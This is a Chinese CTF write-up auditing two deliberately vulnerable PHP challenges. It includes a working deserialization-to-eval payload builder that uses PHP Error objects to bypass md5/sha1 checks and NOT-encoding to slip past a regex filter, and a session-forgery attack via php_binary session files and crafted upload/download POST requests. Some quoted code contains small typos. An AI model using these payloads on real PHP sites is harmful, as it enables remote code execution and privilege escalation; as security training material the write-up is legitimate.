CTF-PHP审计

来一篇刷题的文章:
CTF-PHP审计_第1张图片

PHP原生类

源码


error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

代码审计

通过分析代码可以,md5和sha1必须要相等,但数据又不能相等,所以用Error类绕过md5和sha1检测
本地做一个测试


$a = new Error("payload",1);
$b = new Error("payload",2);
echo $a;
echo "
"
; echo $b; echo "
"
; if($a != $b) { echo "a!=b"; } echo "
"
; if(md5($a) === md5($b)) { echo "md5相等"."
"
; } if(sha1($a)=== sha1($b)){ echo "sha1相等"; }

通过本地测试得到 a!=b md5相等 sha1相等
这是因为error类中有_tostring方法,md5()和sha1()函数都会调用__tostring方法

源码里的正则检测用取反绕过就行。


class SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
		   if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
			   eval($this->syc);
		   } else {
			   die("Try Hard !!");
		   }
		   
		}
	}
}
$str = "?>.urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

session的文件上传

代码审计

源码:


error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

首先要做的还是代码审计

error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";

session的代码存在/var/babyctf/里面

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest'; 
}

这里进行判断,如果session的username是admin,然后存在这个文件/var/babyctf/success.txt,如果存在地话,就删除文件,然后输出flag,否则的话 username改为guest

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr'); 
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}

这里有两个post参数,$dir_path拼接路径,若attr是private,呢么在dir_path的基础上再拼接一个username。

if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
}

如果direction设置为update,首先判断是否正常上传,通过则在dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256,之后开始正则匹配,限制目录的读取和穿越,

elseif ($direction === "download") {//如果direction设置为download
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readftile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}

若direction设置为download,读取上传下来的文件名,拼接为file_path,然后就开始正则匹配,如果文件存在,则返回文件内容
通过审计代码得到,获取flag的条件

$_SESSION[‘username’] ===‘admin’
$filename=’/var/babyctf/success.txt’

所以说伪造自己的username的session为admin,并且要在/var/baby下面创建一个success.txt文件。

伪造session:

php的session默认存储文件名是sess_+PHPSESSID的值,
我们看一下cookie中的PHPSESSID

PHPSESSID=30bc3a91059df2210cf8cd4b3d7fe02a

构造:

direction=download&attr=&filename=sess_30bc3a91059df2210cf8cd4b3d7fe02a

以post传入,在返回内容中读到内容
CTF-PHP审计_第2张图片
看到回显,不同的引擎所对应的session的存储方式:

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

我们这里的session处理器是php_binary,我们要在本地利用php_binary生成我们要伪造的session文件


ini_set('session.serialize_handler', 'php_binary');
session_save_path("D:\\phpstudy_pro\\WWW\\testphp\\");
session_start();

$_SESSION['username'] = 'admin';

运行生成session文件
计算sha256
得到:
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
构造

direction=download&attr=&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

创建success.txt
将attr设置为success.txt创建目录就能绕过,因为函数file_exists是检查文件或目录是否存在。
我们把PHPSESSID改为sess的文件sha256值让session的username为admin 刷新就能得到flag.

你可能感兴趣的:(安全,CTF,php,web安全,安全)